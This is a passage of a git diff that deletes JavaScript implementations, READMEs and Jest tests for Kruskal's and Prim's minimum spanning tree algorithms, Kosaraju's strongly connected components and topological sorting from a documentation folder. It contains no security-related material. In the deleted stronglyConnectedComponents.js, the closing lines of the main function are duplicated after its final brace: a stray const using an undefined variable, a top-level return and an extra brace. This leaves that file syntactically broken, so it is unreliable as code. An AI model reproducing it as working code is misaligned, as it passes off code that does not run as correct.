--   [Kruskal's Algorithm on Wikipedia](https://en.wikipedia.org/wiki/Kruskal%27s_algorithm)
--   [Kruskal's Algorithm on YouTube by Tushar Roy](https://www.youtube.com/watch?v=fAuF0EuZVCk&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   [Kruskal's Algorithm on YouTube by Michael Sambol](https://www.youtube.com/watch?v=71UQH7Pr9kU&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/graph/kruskal/kruskal.js b/docs/content/DS_ALGO/algorithms/graph/kruskal/kruskal.js
deleted file mode 100644
index 44a3a0e156..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/kruskal/kruskal.js
+++ /dev/null
@@ -1,52 +0,0 @@
-import Graph from '../../../data-structures/graph/Graph';
-import QuickSort from '../../sorting/quick-sort/QuickSort';
-import DisjointSet from '../../../data-structures/disjoint-set/DisjointSet';
-/**
- * @param {Graph} graph
- * @return {Graph}
- */
-export default function kruskal(graph) {
-    // It should fire error if graph is directed since the algorithm works only
-    // for undirected graphs.
-    if (graph.isDirected) {
-        throw new Error("Kruskal's algorithms works only for undirected graphs");
-    }
-    // Init new graph that will contain minimum spanning tree of original graph.
-    const minimumSpanningTree = new Graph();
-    // Sort all graph edges in increasing order.
-    const sortingCallbacks = {
-        /**
-         * @param {GraphEdge} graphEdgeA
-         * @param {GraphEdge} graphEdgeB
-         */
-        compareCallback: (graphEdgeA, graphEdgeB) => {
-            if (graphEdgeA.weight === graphEdgeB.weight) {
-                return 1;
-            }
-            return graphEdgeA.weight <= graphEdgeB.weight ? -1 : 1;
-        }
-    };
-    const sortedEdges = new QuickSort(sortingCallbacks).sort(graph.getAllEdges());
-    // Create disjoint sets for all graph vertices.
-    const keyCallback = (graphVertex) => graphVertex.getKey();
-    const disjointSet = new DisjointSet(keyCallback);
-    graph.getAllVertices().forEach((graphVertex) => {
-        disjointSet.makeSet(graphVertex);
-    });
-    // Go through all edges started from the minimum one and try to add them
-    // to minimum spanning tree. The criteria of adding the edge would be whether
-    // it is forms the cycle or not (if it connects two vertices from one disjoint
-    // set or not).
-    for (let edgeIndex = 0; edgeIndex < sortedEdges.length; edgeIndex += 1) {
-        /** @var {GraphEdge} currentEdge */
-        const currentEdge = sortedEdges[edgeIndex];
-        // Check if edge forms the cycle. If it does then skip it.
-        if (!disjointSet.inSameSet(currentEdge.startVertex, currentEdge.endVertex)) {
-            // Unite two subsets into one.
-            disjointSet.union(currentEdge.startVertex, currentEdge.endVertex);
-            // Add this edge to spanning tree.
-            minimumSpanningTree.addEdge(currentEdge);
-        }
-    }
-    return minimumSpanningTree;
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/kruskal/test/kruskal.test.js b/docs/content/DS_ALGO/algorithms/graph/kruskal/test/kruskal.test.js
deleted file mode 100644
index 71e01afbae..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/kruskal/test/kruskal.test.js
+++ /dev/null
@@ -1,69 +0,0 @@
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import Graph from '../../../../data-structures/graph/Graph';
-import kruskal from '../kruskal';
-describe('kruskal', () => {
-    it('should fire an error for directed graph', () => {
-        function applyPrimToDirectedGraph() {
-            const graph = new Graph(true);
-            kruskal(graph);
-        }
-        expect(applyPrimToDirectedGraph).toThrowError();
-    });
-    it('should find minimum spanning tree', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const edgeAB = new GraphEdge(vertexA, vertexB, 2);
-        const edgeAD = new GraphEdge(vertexA, vertexD, 3);
-        const edgeAC = new GraphEdge(vertexA, vertexC, 3);
-        const edgeBC = new GraphEdge(vertexB, vertexC, 4);
-        const edgeBE = new GraphEdge(vertexB, vertexE, 3);
-        const edgeDF = new GraphEdge(vertexD, vertexF, 7);
-        const edgeEC = new GraphEdge(vertexE, vertexC, 1);
-        const edgeEF = new GraphEdge(vertexE, vertexF, 8);
-        const edgeFG = new GraphEdge(vertexF, vertexG, 9);
-        const edgeFC = new GraphEdge(vertexF, vertexC, 6);
-        const graph = new Graph();
-        graph
-            .addEdge(edgeAB)
-            .addEdge(edgeAD)
-            .addEdge(edgeAC)
-            .addEdge(edgeBC)
-            .addEdge(edgeBE)
-            .addEdge(edgeDF)
-            .addEdge(edgeEC)
-            .addEdge(edgeEF)
-            .addEdge(edgeFC)
-            .addEdge(edgeFG);
-        expect(graph.getWeight()).toEqual(46);
-        const minimumSpanningTree = kruskal(graph);
-        expect(minimumSpanningTree.getWeight()).toBe(24);
-        expect(minimumSpanningTree.getAllVertices().length).toBe(graph.getAllVertices().length);
-        expect(minimumSpanningTree.getAllEdges().length).toBe(graph.getAllVertices().length - 1);
-        expect(minimumSpanningTree.toString()).toBe('E,C,A,B,D,F,G');
-    });
-    it('should find minimum spanning tree for simple graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const edgeAB = new GraphEdge(vertexA, vertexB, 1);
-        const edgeAD = new GraphEdge(vertexA, vertexD, 3);
-        const edgeBC = new GraphEdge(vertexB, vertexC, 1);
-        const edgeBD = new GraphEdge(vertexB, vertexD, 3);
-        const edgeCD = new GraphEdge(vertexC, vertexD, 1);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeAD).addEdge(edgeBC).addEdge(edgeBD).addEdge(edgeCD);
-        expect(graph.getWeight()).toEqual(9);
-        const minimumSpanningTree = kruskal(graph);
-        expect(minimumSpanningTree.getWeight()).toBe(3);
-        expect(minimumSpanningTree.getAllVertices().length).toBe(graph.getAllVertices().length);
-        expect(minimumSpanningTree.getAllEdges().length).toBe(graph.getAllVertices().length - 1);
-        expect(minimumSpanningTree.toString()).toBe('A,B,C,D');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/prim/README.md b/docs/content/DS_ALGO/algorithms/graph/prim/README.md
deleted file mode 100644
index 0ae771df5d..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/prim/README.md
+++ /dev/null
@@ -1,47 +0,0 @@
-# Prim's Algorithm
-
-In computer science, **Prim's algorithm** is a greedy algorithm that
-finds a minimum spanning tree for a weighted undirected graph.
-
-The algorithm operates by building this tree one vertex at a
-time, from an arbitrary starting vertex, at each step adding
-the cheapest possible connection from the tree to another vertex.
-
-![Prim's Algorithm](https://upload.wikimedia.org/wikipedia/commons/f/f7/Prim%27s_algorithm.svg)
-
-Prim's algorithm starting at vertex `A`. In the third step, edges
-`BD` and `AB` both have weight `2`, so `BD` is chosen arbitrarily.
-After that step, `AB` is no longer a candidate for addition
-to the tree because it links two nodes that are already
-in the tree.
-
-## Minimum Spanning Tree
-
-A **minimum spanning tree** (MST) or minimum weight spanning tree
-is a subset of the edges of a connected, edge-weighted
-(un)directed graph that connects all the vertices together,
-without any cycles and with the minimum possible total edge
-weight. That is, it is a spanning tree whose sum of edge weights
-is as small as possible. More generally, any edge-weighted
-undirected graph (not necessarily connected) has a minimum
-spanning forest, which is a union of the minimum spanning
-trees for its connected components.
-
-![Minimum Spanning Tree](https://upload.wikimedia.org/wikipedia/commons/d/d2/Minimum_spanning_tree.svg)
-
-A planar graph and its minimum spanning tree. Each edge is
-labeled with its weight, which here is roughly proportional
-to its length.
-
-![Minimum Spanning Tree](https://upload.wikimedia.org/wikipedia/commons/c/c9/Multiple_minimum_spanning_trees.svg)
-
-This figure shows there may be more than one minimum spanning
-tree in a graph. In the figure, the two trees below the graph
-are two possibilities of minimum spanning tree of the given graph.
-
-## References
-
--   [Minimum Spanning Tree on Wikipedia](https://en.wikipedia.org/wiki/Minimum_spanning_tree)
--   [Prim's Algorithm on Wikipedia](https://en.wikipedia.org/wiki/Prim%27s_algorithm)
--   [Prim's Algorithm on YouTube by Tushar Roy](https://www.youtube.com/watch?v=oP2-8ysT3QQ&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
--   [Prim's Algorithm on YouTube by Michael Sambol](https://www.youtube.com/watch?v=cplfcGZmX7I&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/graph/prim/prim.js b/docs/content/DS_ALGO/algorithms/graph/prim/prim.js
deleted file mode 100644
index a8966f88a0..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/prim/prim.js
+++ /dev/null
@@ -1,57 +0,0 @@
-import Graph from '../../../data-structures/graph/Graph';
-import PriorityQueue from '../../../data-structures/priority-queue/PriorityQueue';
-/**
- * @param {Graph} graph
- * @return {Graph}
- */
-export default function prim(graph) {
-    // It should fire error if graph is directed since the algorithm works only
-    // for undirected graphs.
-    if (graph.isDirected) {
-        throw new Error("Prim's algorithms works only for undirected graphs");
-    }
-    // Init new graph that will contain minimum spanning tree of original graph.
-    const minimumSpanningTree = new Graph();
-    // This priority queue will contain all the edges that are starting from
-    // visited nodes and they will be ranked by edge weight - so that on each step
-    // we would always pick the edge with minimal edge weight.
-    const edgesQueue = new PriorityQueue();
-    // Set of vertices that has been already visited.
-    const visitedVertices = {};
-    // Vertex from which we will start graph traversal.
-    const startVertex = graph.getAllVertices()[0];
-    // Add start vertex to the set of visited ones.
-    visitedVertices[startVertex.getKey()] = startVertex;
-    // Add all edges of start vertex to the queue.
-    startVertex.getEdges().forEach((graphEdge) => {
-        edgesQueue.add(graphEdge, graphEdge.weight);
-    });
-    // Now let's explore all queued edges.
-    while (!edgesQueue.isEmpty()) {
-        // Fetch next queued edge with minimal weight.
-        /** @var {GraphEdge} currentEdge */
-        const currentMinEdge = edgesQueue.poll();
-        // Find out the next unvisited minimal vertex to traverse.
-        let nextMinVertex = null;
-        if (!visitedVertices[currentMinEdge.startVertex.getKey()]) {
-            nextMinVertex = currentMinEdge.startVertex;
-        } else if (!visitedVertices[currentMinEdge.endVertex.getKey()]) {
-            nextMinVertex = currentMinEdge.endVertex;
-        }
-        // If all vertices of current edge has been already visited then skip this round.
-        if (nextMinVertex) {
-            // Add current min edge to MST.
-            minimumSpanningTree.addEdge(currentMinEdge);
-            // Add vertex to the set of visited ones.
-            visitedVertices[nextMinVertex.getKey()] = nextMinVertex;
-            // Add all current vertex's edges to the queue.
-            nextMinVertex.getEdges().forEach((graphEdge) => {
-                // Add only vertices that link to unvisited nodes.
-                if (!visitedVertices[graphEdge.startVertex.getKey()] || !visitedVertices[graphEdge.endVertex.getKey()]) {
-                    edgesQueue.add(graphEdge, graphEdge.weight);
-                }
-            });
-        }
-    }
-    return minimumSpanningTree;
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/prim/test/prim.test.js b/docs/content/DS_ALGO/algorithms/graph/prim/test/prim.test.js
deleted file mode 100644
index 9ae9e32f9b..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/prim/test/prim.test.js
+++ /dev/null
@@ -1,69 +0,0 @@
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import Graph from '../../../../data-structures/graph/Graph';
-import prim from '../prim';
-describe('prim', () => {
-    it('should fire an error for directed graph', () => {
-        function applyPrimToDirectedGraph() {
-            const graph = new Graph(true);
-            prim(graph);
-        }
-        expect(applyPrimToDirectedGraph).toThrowError();
-    });
-    it('should find minimum spanning tree', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const edgeAB = new GraphEdge(vertexA, vertexB, 2);
-        const edgeAD = new GraphEdge(vertexA, vertexD, 3);
-        const edgeAC = new GraphEdge(vertexA, vertexC, 3);
-        const edgeBC = new GraphEdge(vertexB, vertexC, 4);
-        const edgeBE = new GraphEdge(vertexB, vertexE, 3);
-        const edgeDF = new GraphEdge(vertexD, vertexF, 7);
-        const edgeEC = new GraphEdge(vertexE, vertexC, 1);
-        const edgeEF = new GraphEdge(vertexE, vertexF, 8);
-        const edgeFG = new GraphEdge(vertexF, vertexG, 9);
-        const edgeFC = new GraphEdge(vertexF, vertexC, 6);
-        const graph = new Graph();
-        graph
-            .addEdge(edgeAB)
-            .addEdge(edgeAD)
-            .addEdge(edgeAC)
-            .addEdge(edgeBC)
-            .addEdge(edgeBE)
-            .addEdge(edgeDF)
-            .addEdge(edgeEC)
-            .addEdge(edgeEF)
-            .addEdge(edgeFC)
-            .addEdge(edgeFG);
-        expect(graph.getWeight()).toEqual(46);
-        const minimumSpanningTree = prim(graph);
-        expect(minimumSpanningTree.getWeight()).toBe(24);
-        expect(minimumSpanningTree.getAllVertices().length).toBe(graph.getAllVertices().length);
-        expect(minimumSpanningTree.getAllEdges().length).toBe(graph.getAllVertices().length - 1);
-        expect(minimumSpanningTree.toString()).toBe('A,B,C,E,D,F,G');
-    });
-    it('should find minimum spanning tree for simple graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const edgeAB = new GraphEdge(vertexA, vertexB, 1);
-        const edgeAD = new GraphEdge(vertexA, vertexD, 3);
-        const edgeBC = new GraphEdge(vertexB, vertexC, 1);
-        const edgeBD = new GraphEdge(vertexB, vertexD, 3);
-        const edgeCD = new GraphEdge(vertexC, vertexD, 1);
-        const graph = new Graph();
-        graph.addEdge(edgeAB).addEdge(edgeAD).addEdge(edgeBC).addEdge(edgeBD).addEdge(edgeCD);
-        expect(graph.getWeight()).toEqual(9);
-        const minimumSpanningTree = prim(graph);
-        expect(minimumSpanningTree.getWeight()).toBe(3);
-        expect(minimumSpanningTree.getAllVertices().length).toBe(graph.getAllVertices().length);
-        expect(minimumSpanningTree.getAllEdges().length).toBe(graph.getAllVertices().length - 1);
-        expect(minimumSpanningTree.toString()).toBe('A,B,C,D');
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/strongly-connected-components/README.md b/docs/content/DS_ALGO/algorithms/graph/strongly-connected-components/README.md
deleted file mode 100644
index 7436627f75..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/strongly-connected-components/README.md
+++ /dev/null
@@ -1,16 +0,0 @@
-# Strongly Connected Component
-
-A directed graph is called **strongly connected** if there is a path
-in each direction between each pair of vertices of the graph.
-In a directed graph G that may not itself be strongly connected,
-a pair of vertices `u` and `v` are said to be strongly connected
-to each other if there is a path in each direction between them.
-
-![Strongly Connected](https://upload.wikimedia.org/wikipedia/commons/5/5c/Scc.png)
-
-Graph with strongly connected components marked
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Strongly_connected_component)
--   [YouTube](https://www.youtube.com/watch?v=RpgcYiky7uw&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/graph/strongly-connected-components/stronglyConnectedComponents.js b/docs/content/DS_ALGO/algorithms/graph/strongly-connected-components/stronglyConnectedComponents.js
deleted file mode 100644
index 9149378eb7..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/strongly-connected-components/stronglyConnectedComponents.js
+++ /dev/null
@@ -1,133 +0,0 @@
-import Stack from '../../../data-structures/stack/Stack';
-import depthFirstSearch from '../depth-first-search/depthFirstSearch';
-/**
- * @param {Graph} graph
- * @return {Stack}
- */
-function getVerticesSortedByDfsFinishTime(graph) {
-    // Set of all visited vertices during DFS pass.
-    const visitedVerticesSet = {};
-    // Stack of vertices by finish time.
-    // All vertices in this stack are ordered by finished time in decreasing order.
-    // Vertex that has been finished first will be at the bottom of the stack and
-    // vertex that has been finished last will be at the top of the stack.
-    const verticesByDfsFinishTime = new Stack();
-    // Set of all vertices we're going to visit.
-    const notVisitedVerticesSet = {};
-    graph.getAllVertices().forEach((vertex) => {
-        notVisitedVerticesSet[vertex.getKey()] = vertex;
-    });
-    // Specify DFS traversal callbacks.
-    const dfsCallbacks = {
-        enterVertex: ({
-            currentVertex
-        }) => {
-            // Add current vertex to visited set.
-            visitedVerticesSet[currentVertex.getKey()] = currentVertex;
-            // Delete current vertex from not visited set.
-            delete notVisitedVerticesSet[currentVertex.getKey()];
-        },
-        leaveVertex: ({
-            currentVertex
-        }) => {
-            // Push vertex to the stack when leaving it.
-            // This will make stack to be ordered by finish time in decreasing order.
-            verticesByDfsFinishTime.push(currentVertex);
-        },
-        allowTraversal: ({
-            nextVertex
-        }) => {
-            // Don't allow to traverse the nodes that have been already visited.
-            return !visitedVerticesSet[nextVertex.getKey()];
-        }
-    };
-    // Do FIRST DFS PASS traversal for all graph vertices to fill the verticesByFinishTime stack.
-    while (Object.values(notVisitedVerticesSet).length) {
-        // Peek any vertex to start DFS traversal from.
-        const startVertexKey = Object.keys(notVisitedVerticesSet)[0];
-        const startVertex = notVisitedVerticesSet[startVertexKey];
-        delete notVisitedVerticesSet[startVertexKey];
-        depthFirstSearch(graph, startVertex, dfsCallbacks);
-    }
-    return verticesByDfsFinishTime;
-}
-/**
- * @param {Graph} graph
- * @param {Stack} verticesByFinishTime
- * @return {*[]}
- */
-function getSCCSets(graph, verticesByFinishTime) {
-    // Array of arrays of strongly connected vertices.
-    const stronglyConnectedComponentsSets = [];
-    // Array that will hold all vertices that are being visited during one DFS run.
-    let stronglyConnectedComponentsSet = [];
-    // Visited vertices set.
-    const visitedVerticesSet = {};
-    // Callbacks for DFS traversal.
-    const dfsCallbacks = {
-        enterVertex: ({
-            currentVertex
-        }) => {
-            // Add current vertex to SCC set of current DFS round.
-            stronglyConnectedComponentsSet.push(currentVertex);
-            // Add current vertex to visited set.
-            visitedVerticesSet[currentVertex.getKey()] = currentVertex;
-        },
-        leaveVertex: ({
-            previousVertex
-        }) => {
-            // Once DFS traversal is finished push the set of found strongly connected
-            // components during current DFS round to overall strongly connected components set.
-            // The sign that traversal is about to be finished is that we came back to start vertex
-            // which doesn't have parent.
-            if (previousVertex === null) {
-                stronglyConnectedComponentsSets.push([...stronglyConnectedComponentsSet]);
-            }
-        },
-        allowTraversal: ({
-            nextVertex
-        }) => {
-            // Don't allow traversal of already visited vertices.
-            return !visitedVerticesSet[nextVertex.getKey()];
-        }
-    };
-    while (!verticesByFinishTime.isEmpty()) {
-        /** @var {GraphVertex} startVertex */
-        const startVertex = verticesByFinishTime.pop();
-        // Reset the set of strongly connected vertices.
-        stronglyConnectedComponentsSet = [];
-        // Don't do DFS on already visited vertices.
-        if (!visitedVerticesSet[startVertex.getKey()]) {
-            // Do DFS traversal.
-            depthFirstSearch(graph, startVertex, dfsCallbacks);
-        }
-    }
-    return stronglyConnectedComponentsSets;
-}
-/**
- * Kosaraju's algorithm.
- *
- * @param {Graph} graph
- * @return {*[]}
- */
-export default function stronglyConnectedComponents(graph) {
-    // In this algorithm we will need to do TWO DFS PASSES overt the graph.
-    // Get stack of vertices ordered by DFS finish time.
-    // All vertices in this stack are ordered by finished time in decreasing order:
-    // Vertex that has been finished first will be at the bottom of the stack and
-    // vertex that has been finished last will be at the top of the stack.
-    const verticesByFinishTime = getVerticesSortedByDfsFinishTime(graph);
-    // Reverse the graph.
-    graph.reverse();
-    // Do DFS once again on reversed graph.
-    return getSCCSets(graph, verticesByFinishTime);
-} // Get stack of vertices ordered by DFS finish time.
-// All vertices in this stack are ordered by finished time in decreasing order:
-// Vertex that has been finished first will be at the bottom of the stack and
-// vertex that has been finished last will be at the top of the stack.
-const verticesByFinishTime = getVerticesSortedByDfsFinishTime(graph);
-// Reverse the graph.
-graph.reverse();
-// Do DFS once again on reversed graph.
-return getSCCSets(graph, verticesByFinishTime);
-}
diff --git a/docs/content/DS_ALGO/algorithms/graph/strongly-connected-components/test/stronglyConnectedComponents.test.js b/docs/content/DS_ALGO/algorithms/graph/strongly-connected-components/test/stronglyConnectedComponents.test.js
deleted file mode 100644
index 5af1f67102..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/strongly-connected-components/test/stronglyConnectedComponents.test.js
+++ /dev/null
@@ -1,80 +0,0 @@
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import Graph from '../../../../data-structures/graph/Graph';
-import stronglyConnectedComponents from '../stronglyConnectedComponents';
-describe('stronglyConnectedComponents', () => {
-    it('should detect strongly connected components in simple graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCA = new GraphEdge(vertexC, vertexA);
-        const edgeCD = new GraphEdge(vertexC, vertexD);
-        const graph = new Graph(true);
-        graph.addEdge(edgeAB).addEdge(edgeBC).addEdge(edgeCA).addEdge(edgeCD);
-        const components = stronglyConnectedComponents(graph);
-        expect(components).toBeDefined();
-        expect(components.length).toBe(2);
-        expect(components[0][0].getKey()).toBe(vertexA.getKey());
-        expect(components[0][1].getKey()).toBe(vertexC.getKey());
-        expect(components[0][2].getKey()).toBe(vertexB.getKey());
-        expect(components[1][0].getKey()).toBe(vertexD.getKey());
-    });
-    it('should detect strongly connected components in graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const vertexH = new GraphVertex('H');
-        const vertexI = new GraphVertex('I');
-        const vertexJ = new GraphVertex('J');
-        const vertexK = new GraphVertex('K');
-        const edgeAB = new GraphEdge(vertexA, vertexB);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeCA = new GraphEdge(vertexC, vertexA);
-        const edgeBD = new GraphEdge(vertexB, vertexD);
-        const edgeDE = new GraphEdge(vertexD, vertexE);
-        const edgeEF = new GraphEdge(vertexE, vertexF);
-        const edgeFD = new GraphEdge(vertexF, vertexD);
-        const edgeGF = new GraphEdge(vertexG, vertexF);
-        const edgeGH = new GraphEdge(vertexG, vertexH);
-        const edgeHI = new GraphEdge(vertexH, vertexI);
-        const edgeIJ = new GraphEdge(vertexI, vertexJ);
-        const edgeJG = new GraphEdge(vertexJ, vertexG);
-        const edgeJK = new GraphEdge(vertexJ, vertexK);
-        const graph = new Graph(true);
-        graph
-            .addEdge(edgeAB)
-            .addEdge(edgeBC)
-            .addEdge(edgeCA)
-            .addEdge(edgeBD)
-            .addEdge(edgeDE)
-            .addEdge(edgeEF)
-            .addEdge(edgeFD)
-            .addEdge(edgeGF)
-            .addEdge(edgeGH)
-            .addEdge(edgeHI)
-            .addEdge(edgeIJ)
-            .addEdge(edgeJG)
-            .addEdge(edgeJK);
-        const components = stronglyConnectedComponents(graph);
-        expect(components).toBeDefined();
-        expect(components.length).toBe(4);
-        expect(components[0][0].getKey()).toBe(vertexG.getKey());
-        expect(components[0][1].getKey()).toBe(vertexJ.getKey());
-        expect(components[0][2].getKey()).toBe(vertexI.getKey());
-        expect(components[0][3].getKey()).toBe(vertexH.getKey());
-        expect(components[1][0].getKey()).toBe(vertexK.getKey());
-        expect(components[2][0].getKey()).toBe(vertexA.getKey());
-        expect(components[2][1].getKey()).toBe(vertexC.getKey());
-        expect(components[2][2].getKey()).toBe(vertexB.getKey());
-        expect(components[3][0].getKey()).toBe(vertexD.getKey());
-        expect(components[3][1].getKey()).toBe(vertexF.getKey());
-        expect(components[3][2].getKey()).toBe(vertexE.getKey());
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/topological-sorting/README.md b/docs/content/DS_ALGO/algorithms/graph/topological-sorting/README.md
deleted file mode 100644
index b030e25bde..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/topological-sorting/README.md
+++ /dev/null
@@ -1,55 +0,0 @@
-# Topological Sorting
-
-In the field of computer science, a topological sort or
-topological ordering of a directed graph is a linear ordering
-of its vertices such that for every directed edge `uv` from
-vertex `u` to vertex `v`, `u` comes before `v` in the ordering.
-
-For instance, the vertices of the graph may represent tasks to
-be performed, and the edges may represent constraints that one
-task must be performed before another; in this application, a
-topological ordering is just a valid sequence for the tasks.
-
-A topological ordering is possible if and only if the graph has
-no directed cycles, that is, if it is a [directed acyclic graph](https://en.wikipedia.org/wiki/Directed_acyclic_graph)
-(DAG). Any DAG has at least one topological ordering, and algorithms are
-known for constructing a topological ordering of any DAG in linear time.
-
-![Directed Acyclic Graph](https://upload.wikimedia.org/wikipedia/commons/c/c6/Topological_Ordering.svg)
-
-A topological ordering of a directed acyclic graph: every edge goes from
-earlier in the ordering (upper left) to later in the ordering (lower right).
-A directed graph is acyclic if and only if it has a topological ordering.
-
-## Example
-
-![Topologic Sorting](https://upload.wikimedia.org/wikipedia/commons/0/03/Directed_acyclic_graph_2.svg)
-
-The graph shown above has many valid topological sorts, including:
-
--   `5, 7, 3, 11, 8, 2, 9, 10` (visual left-to-right, top-to-bottom)
--   `3, 5, 7, 8, 11, 2, 9, 10` (smallest-numbered available vertex first)
--   `5, 7, 3, 8, 11, 10, 9, 2` (fewest edges first)
--   `7, 5, 11, 3, 10, 8, 9, 2` (largest-numbered available vertex first)
--   `5, 7, 11, 2, 3, 8, 9, 10` (attempting top-to-bottom, left-to-right)
--   `3, 7, 8, 5, 11, 10, 2, 9` (arbitrary)
-
-## Application
-
-The canonical application of topological sorting is in
-**scheduling a sequence of jobs** or tasks based on their dependencies. The jobs
-are represented by vertices, and there is an edge from `x` to `y` if
-job `x` must be completed before job `y` can be started (for
-example, when washing clothes, the washing machine must finish
-before we put the clothes in the dryer). Then, a topological sort
-gives an order in which to perform the jobs.
-
-Other application is **dependency resolution**. Each vertex is a package
-and each edge is a dependency of package `a` on package 'b'. Then topological
-sorting will provide a sequence of installing dependencies in a way that every
-next dependency has its dependent packages to be installed in prior.
-
-## References
-
--   [Wikipedia](https://en.wikipedia.org/wiki/Topological_sorting)
--   [Topological Sorting on YouTube by Tushar Roy](https://www.youtube.com/watch?v=ddTC4Zovtbc&list=PLLXdhg_r2hKA7DPDsunoDZ-Z769jWn4R8)
diff --git a/docs/content/DS_ALGO/algorithms/graph/topological-sorting/test/topologicalSort.test.js b/docs/content/DS_ALGO/algorithms/graph/topological-sorting/test/topologicalSort.test.js
deleted file mode 100644
index 188976a576..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/topological-sorting/test/topologicalSort.test.js
+++ /dev/null
@@ -1,30 +0,0 @@
-import GraphVertex from '../../../../data-structures/graph/GraphVertex';
-import GraphEdge from '../../../../data-structures/graph/GraphEdge';
-import Graph from '../../../../data-structures/graph/Graph';
-import topologicalSort from '../topologicalSort';
-describe('topologicalSort', () => {
-    it('should do topological sorting on graph', () => {
-        const vertexA = new GraphVertex('A');
-        const vertexB = new GraphVertex('B');
-        const vertexC = new GraphVertex('C');
-        const vertexD = new GraphVertex('D');
-        const vertexE = new GraphVertex('E');
-        const vertexF = new GraphVertex('F');
-        const vertexG = new GraphVertex('G');
-        const vertexH = new GraphVertex('H');
-        const edgeAC = new GraphEdge(vertexA, vertexC);
-        const edgeBC = new GraphEdge(vertexB, vertexC);
-        const edgeBD = new GraphEdge(vertexB, vertexD);
-        const edgeCE = new GraphEdge(vertexC, vertexE);
-        const edgeDF = new GraphEdge(vertexD, vertexF);
-        const edgeEF = new GraphEdge(vertexE, vertexF);
-        const edgeEH = new GraphEdge(vertexE, vertexH);
-        const edgeFG = new GraphEdge(vertexF, vertexG);
-        const graph = new Graph(true);
-        graph.addEdge(edgeAC).addEdge(edgeBC).addEdge(edgeBD).addEdge(edgeCE).addEdge(edgeDF).addEdge(edgeEF).addEdge(edgeEH).addEdge(edgeFG);
-        const sortedVertices = topologicalSort(graph);
-        expect(sortedVertices).toBeDefined();
-        expect(sortedVertices.length).toBe(graph.getAllVertices().length);
-        expect(sortedVertices).toEqual([vertexB, vertexD, vertexA, vertexC, vertexE, vertexH, vertexF, vertexG]);
-    });
-});
diff --git a/docs/content/DS_ALGO/algorithms/graph/topological-sorting/topologicalSort.js b/docs/content/DS_ALGO/algorithms/graph/topological-sorting/topologicalSort.js
deleted file mode 100644
index 1a2f627c3c..0000000000
--- a/docs/content/DS_ALGO/algorithms/graph/topological-sorting/topologicalSort.js
+++ /dev/null
@@ -1,39 +0,0 @@
-import Stack from '../../../data-structures/stack/Stack';
-import depthFirstSearch from '../depth-first-search/depthFirstSearch';
-/**
- * @param {Graph} graph
- */
-export default function topologicalSort(graph) {
-    // Create a set of all vertices we want to visit.
-    const unvisitedSet = {};
-    graph.getAllVertices().forEach((vertex) => {
-        unvisitedSet[vertex.getKey()] = vertex;
-    });
-    // Create a set for all vertices that we've already visited.
-    const visitedSet = {};
-    // Create a stack of already ordered vertices.
-    const sortedStack = new Stack();
-    const dfsCallbacks = {
-        enterVertex: ({ currentVertex }) => {
-            // Add vertex to visited set in case if all its children has been explored.
-            visitedSet[currentVertex.getKey()] = currentVertex;
-            // Remove this vertex from unvisited set.
-            delete unvisitedSet[currentVertex.getKey()];
-        },
-        leaveVertex: ({ currentVertex }) => {
-            // If the vertex has been totally explored then we may push it to stack.
-            sortedStack.push(currentVertex);
-        },
-        allowTraversal: ({ nextVertex }) => {
-            return !visitedSet[nextVertex.getKey()];
-        }
-    };
-    // Let's go and do DFS for all unvisited nodes.
